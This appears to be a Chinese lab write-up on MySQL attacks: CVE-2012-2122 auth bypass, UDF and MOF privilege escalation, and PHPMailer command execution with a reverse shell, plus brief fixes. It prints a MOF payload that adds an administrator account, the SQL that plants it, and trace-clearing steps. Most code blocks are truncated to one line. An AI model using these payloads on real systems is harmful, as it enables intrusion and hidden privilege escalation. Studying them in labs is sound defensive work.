0x01 MYSQL漏洞案例:
先通过MYSQL身份认证绕过漏洞 CVE-2012-2122开始看起。
1. 漏洞原理:
该漏洞是身份认证绕过漏洞,当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于处理不正确,会导致memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。即只要知道用户名,不断尝试就能够直接登入SQL数据库。
2. 影响版本:
Mariadb、Mysql:几乎影响5.1至5.5的所有版本,包括5.1.61,5.0.11,5.3.5,5.5.22,5.5.23
3. 漏洞复现:
靶机:Ubuntu 192.168.127.131
攻击机:kali 192.168.127.130
环境:docker vulhub
注:
[1]除了安装docker-ce docker-io之外,可能需要安装docker-compose
[2]docker-compose是docker的命令行工具,docker-compose up启动并运行vulhub中的mysql服务。
[3]进入docker:docker exec -it 69d1 bash
环境启动后,将启动一个Mysql服务(版本:5.5.23),监听3306端口,通过Mysql客户端可直接登录,其root密码是123456。至此靶机环境搭建完成
攻击机扫描靶机所开放服务:
可看到linux服务器开启了mysql,版本为5.5.23
方法一、用msf直接跑:
1 | msfconsole |
可以看到密码的哈希值,一般密码以MD5的格式
注:
[1] MD5加密结果是128位二进制,也就是32位十六进制数
[2] SHA-1加密结果是160位二进制,也就是40位十六进制数
[3] SHA-256加密结果是256位二进制,也就是64位十六进制数
[4] SHA-512加密结果是512位二进制,也就是128位十六进制数
[5] RIPEMD160加密结果是160位二进制,也就是40位十六进制数
MD5解密
方法二、利用bash脚本自动登陆mysql数据库
1 | !/bin/bash |
方法三、Python脚本:
1 | #!/usr/bin/python |
todo:看看mysql 5.5.23的paswword.c出问题的具体位置。
0x02 UDF 提权
UDF(user defined function)用户自定义函数。用户可以通过自己增加函数对mysql功能进行扩充。
通过添加UDF导出dll,再mysql中使用UDF以高权限账号执行命令,添加账号进行提权
1.提权条件:
- 知道mysql数据库的账户,有对mysql的insert和delete权限,以创建和抛弃函数。
- 有可以将动态链接库udf.dll写入相应目录的权限。
2.相关知识点
1. Secure_file_priv参数
secure-file-priv参数是用来限制LOAD DATA,SELEC,OUTFILE, LOAD_FILE()传递的指定目录
- 值为null :限制mysql不允许导入导出
- 值为/tmp/ :限制mysql的导入导出只能发生在/tmp/目录
- 没有具体值:对mysql的导入导出不做限制
通过执行SHOW VARIABLES LIKE "secure_file_priv";
查看secure-file-priv的状态。
2.UDF来源
sqlmap和metasploit中有windows和Linux32和64位的UDF文件,需要先用sqlmap自带解码工具cloak.py对进行异或的UDF文件进行解码:
1 | 路径: |
metasploit的UDF动态链接库文件无需解码,路径如下:
1 | usr/share/metasploit-framework/embedded/framework/data/exploits/mysql |
3.UDF提供的函数
hexdump -C lib_mysqludf_sys_64.so | tail -n +118 | head -n 35
1 | sys_eval,执行任意命令,并将输出返回。 |
此时已经有了udf文件,接下来就要上传到网站的指定目录
- 当mysql < 5.0,导出路径随意。
- 当5.0 <= mysql < 5.1,udf.dll 则需要导出至目标服务器的系统目录 (如:c:/windows/system32/)
- 当mysql > 5.1,要把udf.dll文件放到MySQL安装目录下的lib\plugin文件夹下才能创建自定义函数
接下来就是寻找插件目录并写入动态链接库:
1 | --查询软件安装目录 |
3.漏洞复现:PHPMailer命令执行利用
001 环境搭建
攻击机:kali 192.168.127.130
靶机:Raven 192.168.127.129
靶机开放了SSH22端口、80和111端口。访问靶机的80端口可查看wordpress博客页面,dirb跑一下目录。发现phpmailer,并查看版本信息,发现存在php命令执行漏洞。找到靶机发邮件的位置contact.php。
1 | searchsploit phpmailer |
更改参数后,运行代码,此时目录下会生成back.php
开启本地监听,back.php文件运行后shell会成功反弹。
1 | 监听端口 |
0x03 MOF提权
1.原理
MOF(托管对象格式)是windows系统C:/Windows/system32/wbem/mof/nullevt.mof文件,其作用是每间隔5秒就监听进程的创建和死亡。
如果通过mysql使用load_file将文件写入/wbom/mof。mof中有vbs脚本,可以通过控制脚本内容让系统执行命令来提权。
2.条件
windows03及以下版本
mysql有读写C:/Windows/system32/wbem/mof的权限
secure-file-priv参数不为null
msf也自带mof提权模块,且可自动清理痕迹
1 | use exploit/windows/mysql/mysql_mof |
mof脚本内容:
1 | #pragma namespace("\\\\.\\root\\subscription") |
其中核心payload为:
1 | var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\") |
将test.mof写入mof目录下:
1 | mysql > select load_file('C:/Documents and Settings/test.mof')into dumpfile "C:/windows/system32/wbem/mof/test.mof"; |
执行成功test.mof 会出现在:c:/windows/system32/wbem/goog/ 目录下 ,否则在 c:/windows/system32/wbem/bad 目录下
痕迹清理:
每隔几分钟会重新执行添加用户的命令,所以想清理痕迹得先暂时关闭 winmgmt 服务再删除mof 文件,此时删除用户才有效果。
1 | # 停止 winmgmt 服务 |
0x04 漏洞修复:
MySQL数据库更新到最新版本
禁止除白名单外其他ip远程登录MySQL数据库
修改数据库用户名
思考:
记得是python3跑脚本,不然会遇到python包已安装,但还是找不到的问题。Linux权限管理比Winodws严格,Linux分root用户,组用户和其他用户,然而windows就只有user和administrator。
参考:
https://my.oschina.net/bylibrary/blog/4967585
https://yeasy.gitbook.io/docker_practice/container
https://www.jianshu.com/p/a4f25b2d74e6
https://github.com/vulhub/vulhub
https://blog.csdn.net/yatere/article/details/7654057